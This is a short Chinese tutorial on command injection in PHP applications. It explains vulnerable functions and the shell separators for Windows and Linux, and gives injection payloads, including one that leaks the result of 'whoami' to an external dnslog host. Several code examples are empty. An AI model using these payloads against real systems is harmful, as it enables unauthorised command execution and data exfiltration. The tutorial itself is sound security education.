命令执行漏洞
原理
应用程序有时候需要调用一些执行系统命令的函数,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中、从而造成命令执行攻击、这就是命令执行漏洞。
常用函数
system
用来执行一个外部应用程序并将相应的执行结果输出
passthru
可以用来执行一个unix系统命令并显示原始的输出
exec
用来执行一个外部的应用程序
eval
函数会将参数字符串作为php程序代码来执行
system函数
1 |
|
windows支持
| 直接执行后面的语句 ping 127.0.0.1 | whoami
|| 前面的语句为假、执行后面的。ping 2 || whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
linux支持
; 前面的执行完执行后面的 ping 127.0.0.1;whoami
| 显示后面的执行结果 ping 127.0.0.1 | whoami
|| 当前面的执行出错时执行后面的 ping 2 || whoami
& 当前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1 & whoami
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
案例
system函数
1 |
|
shell_exec函数
1 |
|
payload
?ip=12|ping %username%.znbth5.dnslog.cn
https://blog.csdn.net/zhangge3663/article/details/117413265
linux ping -c 3 ‘whoami ‘.znbth5.dnslog.cn
检测
- 代码审计
- 漏扫工具
- 公开漏洞
- 网站功能点